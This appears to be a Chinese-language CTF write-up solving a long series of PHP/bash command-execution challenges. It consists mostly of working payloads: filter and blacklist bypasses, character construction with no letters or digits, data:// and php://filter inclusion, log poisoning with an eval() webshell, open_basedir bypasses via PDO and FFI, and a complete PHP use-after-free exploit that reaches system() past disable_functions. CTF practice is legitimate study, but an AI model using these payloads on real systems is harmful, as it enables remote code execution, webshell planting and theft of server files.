反引号``即命令替换
是指Shell可以先执行``中的命令,将输出结果暂时保存,在适当的地方输出
适用条件:过滤了字符串
放在shell命令中,绕过正则匹配且不影响原意
> < <> 重定向符
%09(需要php环境)
${IFS}
$IFS$9
{cat,flag.php} //用逗号实现了空格功能
%20
%09
适用条件:过滤了cat
1)more:一页一页的显示档案内容
(2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
(5)tail:查看尾几行
(6)nl:显示的时候,顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器,这个也可以查看
(9)vim:一种编辑器,这个也可以查看
(10)sort:可以查看
(11)uniq:可以查看
(12)file -f:报错出具体内容
grep grep test *file #在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行
适用条件:过滤了flag,没有过滤 ? *
在linux系统中 有一些通配符
匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个) ls file *
? 匹配任何一个字符(不在括号内时)?代表任意1个字符 ls file 0
[abcd] 匹配abcd中任何一个字符
[a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符 ls file 0
因为include包含php文件不会在页面显示出来
所以可以配合伪协议将flag.php打印,而且新的参数不会受过滤影响
只过滤了flag
c=echo `nl fl''ag.php`;
c=system('cat f*');
过滤了flag,system,php
c=echo `nl fl''ag.ph''p`;
c=echo `cat f*`;
过滤了flag system php cat sort shell . space ’
php函数操作:
scandir(’.’):扫描当前目录
localeconv() 函数返回一数组。而数组第一项就是`.`(用来绕过.过滤)
pos(),current():返回数组第一个值
数组操作函数:
end():数组指针指向最后一位
next(): 数组指针指向下一位
array_reverse(): 将数组颠倒
array_rand(): 随机返回数组的键名
array_flip():交换数组的键和值
读取文件函数
file_get_content() :因为et被ban,所以不能使用
readfile()
highlight_file()
show_source()
c=print_r(scandir(pos(localeconv())));
查看当前目录所有文件
c=show_source(next(array_reverse(scandir(pos(localeconv())))));
读取当前目录倒数第二个文件
c=echo`tac%09f*`;
过滤 flag system php cat sort shell . space ’ ` echo ; (
因为只对C进行了过滤
c=include$_GET["url"]?>
&url=php://filter/read=convert.base64-encode/resource=flag.php
过滤了flag system php cat sort shell . space ’ ` echo ; ( "
因为又多了双引号过滤
c=include$_GET[1]?>
&1=php://filter/read=convert.base64-encode/resource=flag.php
过滤 flag system php cat sort shell . space ’ ` echo ; ( : "
对c多了一个:但是不影响include
c=include$_GET[1]?>
&1=php://filter/read=convert.base64-encode/resource=flag.php
过滤多了= <
还是不影响include
c=include$_GET[1]?>
&1=php://filter/read=convert.base64-encode/resource=flag.php
过滤多了/ 0-9
改为a
c=include$_GET[a]?>
&a=php://filter/read=convert.base64-encode/resource=flag.php
过滤了flag ,又是 include 文件包含,利用伪协议
data://
可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行
因为被当成php所以不能用shell
?c=data://text/plain,
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
也可以通过nginx的日志文件/var/log/nginx/access.log来获得shell
日志默认路径
(1) apache+Linux日志默认路径
/etc/httpd/logs/access_log
或者
/var/log/httpd/access_log
(2) apache+win2003日志默认路径
D:\xampp\apache\logs\access.log
D:\xampp\apache\logs\error.log
(3) IIS6.0+win2003默认日志文件
C:\WINDOWS\system32\Logfiles
(4) IIS7.0+win2003 默认日志文件
%SystemDrive%\inetpub\logs\LogFiles
(5) nginx 日志文件
日志文件在用户安装目录logs目录下
以我的安装路径为例/usr/local/nginx,
那我的日志目录就是在/usr/local/nginx/logs里
写入日志文件的利用过程是,利用浏览器直接构造一个关于请求资源的报错信息,次消息中包含依据。次报错信息服务自动记录到日志文件,但实际测试发现写入日志文件内的报错信息发生了字符转码:
">" ----> 小于号被转码为了 %3E
" " ----> 空格被转码为了 %20
最后写入到日志文件中的一句话就变成了 %3C?php%20@eval($_POST[123]);?%3E。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3J6TtDQR-1608354495640)(C:\Users\J\Desktop\大学\WP-image\image-20201211165554149.png)]
如果访问一个不存在的资源时,如http://www.xxxx.com/,则会记录在日志中,但是代码中的敏感字符会被浏览器转码,我们可以通过burpsuit绕过编码,就可以把 写入apache的日志文件,然后可以通过包含日志文件来执行此代码,但前提是你得知道apache日志文件的存储路径,所以为了安全期间,安装apache时尽量不要使用默认路径。
所以用BP抓包发送一句话
看到日志中多了一句话
蚁剑连接得到flag
多了过滤 php file
依旧能通过base64和日志shell拿到flag
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
通过后缀限制了include
使用data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用
例:
?c=data://text/plain,
得到 111.php
?c=data://text/plain,
过滤了超级多符号
1.这个题过滤了$、+、-、^、~
使得异或自增和取反构造字符都无法使用,同时过滤了字母和数字。但是特意留了个或运算符|
。
可以尝试从ascii为0-255的字符中,找到或运算能得到我们可用的字符的字符。
2.生成可用字符的集合
,从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符
import re
content = ''
preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/'
for i in range(256):
for j in range(256):
if not (re.match(preg,chr(i),re.I) or re.match(preg,chr(j),re.I)):
k = i | j
if k>=32 and k<=126:
a = '%' + hex(i)[2:].zfill(2)
b = '%' + hex(j)[2:].zfill(2)
content += (chr(k) + ' '+ a + ' ' + b + '\n')
f = open('rce_or.txt', 'w')
f.write(content)
3.再生成字符串中找到连续字母
a %60 %01
b %60 %02
c %60 %03
d %60 %04
e %60 %05
f %60 %06
g %60 %07
h %60 %08
i %60 %09
j %60 %0a
k %60 %0b
l %60 %0c
m %60 %0d
n %60 %0e
o %60 %0f
p %60 %10
q %60 %11
r %60 %12
s %60 %13
t %60 %14
u %60 %15
v %60 %16
w %60 %17
x %60 %18
y %60 %19
z %60 %1a
{ %60 %1b
| %60 %1c
} %60 %1d
~ %60 %1e
` %60 %20
构造payload
c="");('%60%60%60%60%60%60'|'%13%19%13%14%05%0d')(('%03%01%14'|'%60%60%60').' *');#
# system('cat *')
eval(echo "");system('cat *');#;);
注意:hackbar发送无效,使用BP成功
1.这里意思为将
标准输出和标准输入都扔到到/dev/null(垃圾桶)中
0表示键盘输入 1表示屏幕输出 2表示错误输出
> 默认为标准输出重定向,与 1> 相同
2>&1 意思是把 标准错误输出 重定向到 标准输出.(如果>file 后输出,因为已经被重定向到file,所以标准错误也输出到file)
&>file 意思是把 标准输出 和 标准错误输出 都重定向到文件file中
2.所以不能让后面执行,所以需要把后面截断,截断后后面的语句不执行才行
``;,%0a,%26以及||`都可以
3.接着ls,cat即可
?c=cat flag.php;
1.过滤了;和cat
2.使用||,和less(参考cat绕过)
?c=less flag.php||
1.过滤了flag
2.||,less *.php
?c=less *.php||
1.还过滤了space
2.用$IFS绕过空格过滤
?c=less$IFS*.php||
1.过滤了数字*(不好定位目标文件),$(空格不好绕过了)
2.用重定向符号将标准输出到less,再用’'来绕过flag
cat${IFS}flag.txt
cat$IFS$9flag.txt
catflag.txt
cat%20flag.txt
less
$被过滤,payload
less
1.多了几个linux读取方式
2.但是还是有漏网之鱼
?c=vi
1.多过滤了一些命令
2.还是上题payload
?c=vi
1.又过滤了`和%
2.还是上题payload
?c=vi
1.多了x09和x26的过滤
?c=vi
1.多了tac
?c=vi
1.多了>和<,$又被放出来了
2.用$IFS绕过空格即可
注意这里flag换到了根目录,不带php后缀
?c=vi$IFS/fla''g||
1.不需要截断直接绕过就可以执行
2.ls查看当前目录,不知道是flag.php还是readflag
3.$又被放了出来
?c=nl${IFS}fla''g.php
1.过滤了*的快捷读取
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\, $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
2.还是使用vi,*用多个?代替即可
?c=vi${IFS}f???.???
2.过滤了字母
?c=vi${IFS}f???.???
参考了P神的文章
leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
.
来执行任意脚本 和source一样,就是用当前的shell执行文件中的命令。比如,当前运行的shell是bash,. file的意思就是用bash执行file中的命令。
用. file
执行文件,不需要file有x权限的。但是目标服务器上要有一个我们可控的文件,才可以用.
来执行它
/tmp/phpXXXXXX
,文件名最后6个字符是随机的大小写字母以及数字。 但是除了PHP临时文件外,还会有其他临时文件在(如果其他文件优先执行,那就回报错停止,导致没有回显)
观察其他临时文件发现都是小写字母结尾,所以可以利用通配符[@-[]来表示大写字母
ascii码表中大写字母位于@与[之间
类似[1-9]匹配1-9的所有数字
1.了解了无字母数字的命令执行开始构造POC
先本地写一个上传表单
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POCtitle>
head>
<body>
<form action="http://8bc8b0d5-246b-4d41-8f73-a552d8c65b11.chall.ctf.show/" method="post" enctype="multipart/form-data">
<label for="file">文件名:label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
form>
body>
html>
2.随意选择一个php文件,BP抓包上传
3.构造POC
注意:
4.接下来cat flag.php即可
第二种方法
bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
这里我们可以利用 base64 中的64 进行通配符匹配 即 /bin/base64 flag.php
payload
payload: ?c=/???/????64%20????.???
即 /bin/base64 flag.php
第三种方法
主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome*、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb*、wget等。
我们可以利用/usr/bin下的bzip2
意思就是说我们先将flag.php文件进行压缩,然后再将其下载
payload
先?c=/???/???/????2 ????.???
然后在url + /flag.php.bz2 下载文件
1.多了一些过滤
2.使用上题payload即可
1.过滤了-不好匹配了
2.在linux(ubuntu也行,但是阿里云的centos好像不行)中
${_}=""`
$(())=0
$((~$(())))=-1 # ~0=-1 0取反为-1
然后拼接出-36在进行取反
注意的是:
${_}会输出上一次的执行结果,第一次为""
$(()): 做运算默认为+
3.payload
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
构造流程:
1.$(())中包裹37个$((~$(())))
$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))
2.在外面再加个$((~))进行取反运算
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
2.由于安全原因system()被禁用
Warning: system() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1
3.用scandir查看目录文件
c=print_r(scandir(current(localeconv())));
4.show_source和
c=highlight_file('flag.php');
c=echo file_get_contents("flag.php");
c=readfile("flag.php");
c=var_dump(file('flag.php'));
c=print_r(file('flag.php'));
1.应该多了一些函数的禁用
c=show_source('flag.php');
1.应该多了一些函数的禁用
c=show_source('flag.php');
1.应该多了一些函数的禁用
c=show_source('flag.php');
1.应该多了一些函数的禁用
c=show_source('flag.php');
1.都是一样的源码就不放了0.0
payload
c=show_source('flag.php');
1.都是一样的源码就不放了0.0
payload
c=show_source('flag.php');
1.都是一样的源码就不放了0.0
payload
c=show_source('flag.php');
1.都是一样的源码就不放了0.0
2.show_source终于被过了,highlight_file没被过滤
3.但是
4.查看文件根目录
c=print_r(scandir("/"));
## Array ( [0] => . [1] => .. [2] => .dockerenv [3] => bin [4] => dev [5] => etc [6] => flag.txt [7] => home [8] => lib [9] => media [10] => mnt [11] => opt [12] => proc [13] => root [14] => run [15] => sbin [16] => srv [17] => sys [18] => tmp [19] => usr [20] => var )
payload
c=highlight_file('/flag.txt');
1.都是一样的源码就不放了0.0
2.print_r被过滤,使用var_dump
c=var_dump(scandir("/"));
## array(21) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(3) "dev" [5]=> string(3) "etc" [6]=> string(8) "flag.txt" [7]=> string(4) "home" [8]=> string(3) "lib" [9]=> string(5) "media" [10]=> string(3) "mnt" [11]=> string(3) "opt" [12]=> string(4) "proc" [13]=> string(4) "root" [14]=> string(3) "run" [15]=> string(4) "sbin" [16]=> string(3) "srv" [17]=> string(3) "sys" [18]=> string(3) "tmp" [19]=> string(3) "usr" [20]=> string(3
payload
c=highlight_file('/flag.txt');
1.都是一样的源码就不放了0.0
2.目录文件
c=var_dump(scandir("/"));
## array(21) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(3) "dev" [5]=> string(3) "etc" [6]=> string(8) "flag.txt" [7]=> string(4) "home" [8]=> string(3) "lib" [9]=> string(5) "media" [10]=> string(3) "mnt" [11]=> string(3) "opt" [12]=> string(4) "proc" [13]=> string(4) "root" [14]=> string(3) "run" [15]=> string(4) "sbin" [16]=> string(3) "srv" [17]=> string(3) "sys" [18]=> string(3) "tmp" [19]=> string(3) "usr" [20]=> string(3) "var" }
3.highlight_file也被过滤了
payload
c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');
可以使用require和include引入
1.都是一样的源码就不放了0.0
2.var_dump被过滤,使用遍历
c=$a=scandir("/");foreach($a as $key=>$value){echo $key."=>".$value;}
## 0=>.1=>..2=>.dockerenv3=>bin4=>dev5=>etc6=>flag.txt7=>home8=>lib9=>media10=>mnt11=>opt12=>proc13=>root14=>run15=>sbin16=>srv17=>sys18=>tmp19=>usr20=>var
payload
c=include('/flag.txt');
1.都是一样的源码就不放了0.0
2.遍历
c=$a=scandir("/");foreach($a as $key=>$value){echo $key."=>".$value;}
## 0=>.1=>..2=>.dockerenv3=>bin4=>dev5=>etc6=>flag.txt7=>home8=>lib9=>media10=>mnt11=>opt12=>proc13=>root14=>run15=>sbin16=>srv17=>sys18=>tmp19=>usr20=>var 你要上天吗?
payload
c=include('/flag.txt');
1.给了源码
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
你要上天吗?
2.将缓冲区数据获取给$s,再清楚,然后将数字小写字母全变为?
3.所以遍历,就得不到结果了
c=$a=scandir("/");foreach($a as $key=>$value){echo $key."=>".$value;}
##
???????: ?????_?????????() ??? ???? ???????? ??? ???????? ??????? ?? /???/???/????/?????.??? ?? ???? ?? ???????: ???_???() ??? ???? ???????? ??? ???????? ??????? ?? /???/???/????/?????.??? ?? ???? ?? ?=>.?=>..?=>.??????????=>????=>????=>????=>????.????=>?????=>????=>???????=>?????=>?????=>??????=>??????=>?????=>??????=>?????=>?????=>?????=>?????=>??? 你要上天吗?
4.这里通过exit();
使程序提前退出,绕过后面的正则表达式
c=$a=scandir("/");foreach($a as $key=>$value){echo $key."=>".$value;}exit(0);
## 0=>.1=>..2=>.dockerenv3=>bin4=>dev5=>etc6=>flag.txt7=>home8=>lib9=>media10=>mnt11=>opt12=>proc13=>root14=>run15=>sbin16=>srv17=>sys18=>tmp19=>usr20=>var
payload
c=include('/flag.txt');exit(0);
1.给了源码
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
你要上天吗?
2open_basedir限制了根目录不孕讯查看
Warning: scandir(): open_basedir restriction in effect. File(/) is not within the allowed path(s): (/var/www/html/) in /var/www/html/index.php(19) : eval()'d code on line 1
## 警告:scandir():open_basedir限制生效。文件(/)不在允许的路径内:(/var/www/html/)/var/www/html//索引.php(19) :eval()'d第1行的代码
限制了目录的查询
forexample:
isFile()){
echo $file->getFilename()."
";
}
}
4.需要先定位到目录,但不能直接"/"
会被open_basedir限制,这里用到glob://来查找匹配
例:
getFilename(), $f->getSize()/1024);
}
?>
5.得到目录
c=?>$value){echo $key."=>".$value;};exit(0);?>
0=>bin1=>dev2=>etc3=>flag0.txt4=>home5=>lib6=>media7=>mnt8=>opt9=>proc10=>root11=>run12=>sbin13=>srv14=>sys15=>tmp16=>usr17=>var
6.需要查看flag 需要bypass disable_function(绕过open_basedir)
群主大大提供的uaf,我连用都不会用QAQ
c=function ctfshow($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd);
exit();
}
ctfshow("cat /flag0.txt");ob_end_flush();
#需要通过url编码哦
1.获得目录
c=$a=scandir("/");foreach($a as $key=>$value){echo $key."=>".$value;}exit(0);
## 0=>bin1=>dev2=>etc3=>flagc.txt4=>home5=>lib6=>media7=>mnt8=>opt9=>proc10=>root11=>run12=>sbin13=>srv14=>sys15=>tmp16=>usr17=>var
2.因为这题没有open_basedir限制,直接include
c=include("/flagc.txt");exit(0);
1.scandir被禁用,使用DirectoryIterator类
c=?>$value){echo $key."=>".$value;};exit(0);?>
#0=>bin1=>dev2=>etc3=>flagx.txt4=>home5=>lib6=>media7=>mnt8=>opt9=>proc10=>root11=>run12=>sbin13=>srv14=>sys15=>tmp16=>usr17=>var
2.没有open_basedir限制
c=include("/flagc.txt");exit(0);
1.利用类查看
c=?>$value){echo $key."=>".$value;};exit(0);?>
##
0=>bin1=>boot2=>dev3=>etc4=>flag36.txt5=>home6=>lib7=>lib648=>media9=>mnt10=>opt11=>proc12=>readflag13=>root14=>run15=>sbin16=>srv17=>sys18=>tmp19=>usr20=>var
2.open_basedir没有限制根目录,但限制了flag文件
查看了提示的payload
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);
3.应该是通过连接数据库后load_file读取文件信息来绕过open_basedir限制
但怎么能知道数据库名和账号密码啊0.0
4.问了群主是配置文件得到的(不知道是什么配置文件)基本上都被open_basedir限制了,目录查询和文件读取都寸步难行
和上题一样
1.也是通过DirectoryIterator
c=?>$value){echo $key."=>".$value;};exit(0);?>
##
0=>bin1=>boot2=>dev3=>etc4=>flag36x.txt5=>home6=>lib7=>lib648=>media9=>mnt10=>opt11=>proc12=>readflag13=>root14=>run15=>sbin16=>srv17=>sys18=>tmp19=>usr20=>var
2.也是open_basedir限制
查询后,应该是这道题拓展(数据库相关)没有开启,所以不能使用PDO来读取文件
3.这道题有了新的姿势
FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP的FFI扩展就是一个让你在PHP里调用C代码的技术。
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a=''cat /flag36x.txt > 1.txt';//因为没有回显
$ffi->system($a);//通过$ffi去调用system函数
4.本来我是利用cat /flag36x.txt > 1.txt,但这样include1.txt没有flag(本地实验这样是可以的0.0,不知道是不是flag36x.txt本来就是空的)
c=$ffi=FFI::cdef("int system(const char *command);");$a='cat /flag36x.txt > 1.txt';$ffi->system($a);exit(0);
改为执行根目录下的readflag获得flag在重定向输出到2.txt
c=$ffi=FFI::cdef("int system(const char *command);");$a='/readflag > 2.txt';$ffi->system($a);exit(0);
5.直接include即可
c=include("./2.txt");exit(0);
1.查看源代码
2.用fuzz跑了一下发现大写字母和以下字符未被过滤
3.这题利用了bash的内置变量
在linux中可以用~获取变量的最后几位
#大佬博客详细内置变量 https://www.cnblogs.com/sparkdev/p/9934595.html
1.$PATH
用途:可执行文件的搜索路径。
用例:echo $PATH 通常是bin结尾
2. $PWD
用途:工作目录(你当前所在的目录)
用例:echo $PWD 题目环境中肯定是/var/www/html
而字母起到的作用是和0一样的
所以${PATH:~A}${PWD:~A}就是nl
payload
code=${PATH:~A}${PWD:~A} ????.???
1.过滤了$PATH,继续找变量
这题争取构造 /bin/base64 flag.php格式
/???/???4 ???.???
?和空格没被过滤,所以只需要用内部函数构造/和4就行
2.先了解一些Bash内部函数
这样就能得到4了,虽然是概率
$PWD为/var/www/html,这里也没有过滤,变量前一位为::1
但是1也是被过滤的,所以还需要构造1
SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器
默认开始是1那么就利用他来构造
payload
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
/bin/base64 flag.php
提示payload
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
${HOME:${#HOSTNAME}:${#SHLVL}} ====> $HOME的第$HOSTNAME个后取$SHLVL个为t
/bin/cat flag.php
1.上题的payload一样能过
提示中的payload
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
/bin/cat flag.php
说明当前用户的最后一位也是a
1.过滤了SHLVL
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo ''.'you are so long , I dont like '.'';
}
else{
echo ''.system($code).'';
}
}
else{
echo 'evil input';
}
}
?>
2.需要一个能代替SHLVL成为1
还是想到 ${#变量}显示变量的长度,再找一个长度始终为1的变量
$?
用途:上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误。
所以构造${#?}
payload
code=${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.???
提示的payload
${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???
/bin/rev
rev 是从最后一个字符显示到第一个字符。
${#IFS}=3
${PWD:${#IFS}:${#?}}=r
1.设置了黑名单和白名单,且限制了长度
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
